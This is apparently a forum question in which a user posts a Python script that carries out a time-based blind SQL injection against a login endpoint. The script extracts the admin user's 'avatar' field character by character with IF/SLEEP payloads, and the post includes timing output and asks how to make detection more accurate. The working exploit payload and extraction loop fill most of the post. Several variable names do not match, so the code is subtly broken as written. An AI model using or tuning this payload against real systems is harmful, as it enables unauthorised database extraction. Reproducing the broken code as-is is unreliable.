Reputation: 1542
I'm trying to simulate a SQLMap exploting a SQL injection Time Based.
resultado = ""
listaCaracteres = string.ascii_letters + string.digits + "._-@/"
delay = 5
tamanhoCampo = 30
for i in range(1,tamanhoCampo+1):
caracterFound = False
for char in listaCaracters:
data = {
"username": f"teste' OR IF((SELECT substring(avatar,{i},1) FROM users WHERE username='admin')='{caracter}',SLEEP({delay}),1)#",
"password": "teste"
}
startTime = time.time()
try:
# print(f"[+] Iniciando Requisição - posição {i} caracter {caracter}")
resp = requests.post(url, headers=headers, cookies=cookies, data=data)
except Exceptions as e:
print(e)
endTime = time.time()
tempoTotal = endTime - startTime
print(f"[*] Pos. {i} {caracter} {tempoTotal}")
if tempoTotal >= delay:
print(f"[+] Caracter encontrado {caracter} {tempoTotal}")
resultado += caracter
caracterEncontrado = True
delay = 5
break
if not caracterEncontrado:
delay += 1
print(f"[*] Caracter não encontrado, aumentando o tempo de resposta para {delay} segundos")
print(resultado)
Debugging the results
[*] Iniciando o DUMP.
[*] Pos. 1 a 0.41757917404174805
[*] Pos. 1 b 0.42841196060180664
[*] Pos. 1 c 0.42807817459106445
[*] Pos. 1 d 1.420304536819458
[*] Pos. 1 e 0.4183344841003418
[*] Pos. 1 f 0.4205491542816162
[*] Pos. 1 g 0.41797685623168945
[*] Pos. 1 h 0.41671323776245117
[*] Pos. 1 i 0.41751718521118164
[*] Pos. 1 j 0.4145169258117676
[*] Pos. 1 k 0.4157712459564209
[*] Pos. 1 l 0.4163017272949219
[*] Pos. 1 m 0.41348886489868164
[*] Pos. 1 n 0.4273350238800049
[*] Pos. 1 o 0.42464113235473633
[*] Pos. 1 p 0.4265732765197754
[*] Pos. 1 q 0.4321424961090088
[*] Pos. 1 r 0.4281890392303467
[*] Pos. 1 s 0.41872739791870117
[*] Pos. 1 t 0.41807007789611816
[*] Pos. 1 u 4.920653581619263
[*] Pos. 1 v 0.41268229484558105
[*] Pos. 1 w 0.47426342964172363
[*] Pos. 1 x 0.4102909564971924
[*] Pos. 1 y 0.41750526428222656
[*] Pos. 1 z 0.41268014907836914
[*] Pos. 1 A 0.412386417388916
[*] Pos. 1 B 0.4086577892303467
[*] Pos. 1 C 0.41196632385253906
Pos.1 letter u gives almost 5 seconds, actually 4.9 that's exatcly the first character in avatar field what I'm looking for, each script executation give me 4.9 or more than 5 secs, sometimes this goes into the first condition and not!
So, how to be more accurate calculate this?
Upvotes: 0
Views: 57